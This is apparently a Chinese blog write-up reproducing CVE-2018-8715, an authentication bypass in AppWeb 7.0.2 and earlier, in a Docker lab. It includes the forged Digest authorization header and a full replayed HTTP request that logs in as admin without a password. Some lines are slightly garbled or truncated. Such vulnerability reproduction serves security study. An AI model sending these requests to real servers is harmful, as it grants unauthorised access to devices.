1. 程式人生 > 其它 >AppWeb認證繞過漏洞(CVE-2018-8715)

AppWeb認證繞過漏洞(CVE-2018-8715)

0x01漏洞概述

AppWeb 是一個基於開源 GPL 協議的嵌入式 Web 伺服器,該協議由 Embedthis Software LLC開發和維護。它是用C / C++編寫的,幾乎可以在任何現代作業系統上執行。當然,它旨在為嵌入式裝置提供 Web 應用程式容器。

可以將 AppWeb 配置為進行身份驗證,其中包括以下三種身份驗證方法:

(1)basic、傳統 HTTP 基本身份驗證。

(2)digest,改進了 HTTP 基本身份驗證。在此模式下,Cookie 將用於身份驗證,而不是Authorization標頭。

(3)form、基於HTML的表單身份驗證。

在 7.0.3 之前的 Appweb 版本中,存在與 中的 authCondition 函式相關的邏輯缺陷。使用偽造的 HTTP 請求,可以繞過和登入型別的身份驗證。

0x02影響版本

AppWeb 7.0.2及早期版本

0x03漏洞環境

1、啟動漏洞環境

docker-compose up -d

2、訪問漏洞環境

(1)檢視環境的埠

docker ps

(2)訪問漏洞環境

ip地址如下:

http://your-ip:8080

3、復現完成後,刪除漏洞環境

docker-compose down

0x04復現過程

1、利用burpsuite抓包

傳送到重發器中,構造一個請求頭,併發送如下資料包。

利用漏洞需要知道一個已存在的使用者名稱,當前環境下使用者名稱為admin

Authorization: Digest username=admi

2、若使用者名稱已存在,就會返回一個session

-http-session-=3::http.session::27702ce7c74f4c5bf34be38ced068584

3、在傳送一次請求,帶上session和username,完整請求如下:

GET / HTTP/1.1
Host: 192.168.207.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Digest username="admin"
-http-session-=3::http.session::27702ce7c74f4c5bf34be38ced068584
Content-Length: 18
 
username=admin

檢視響應包中資訊,訪問成功。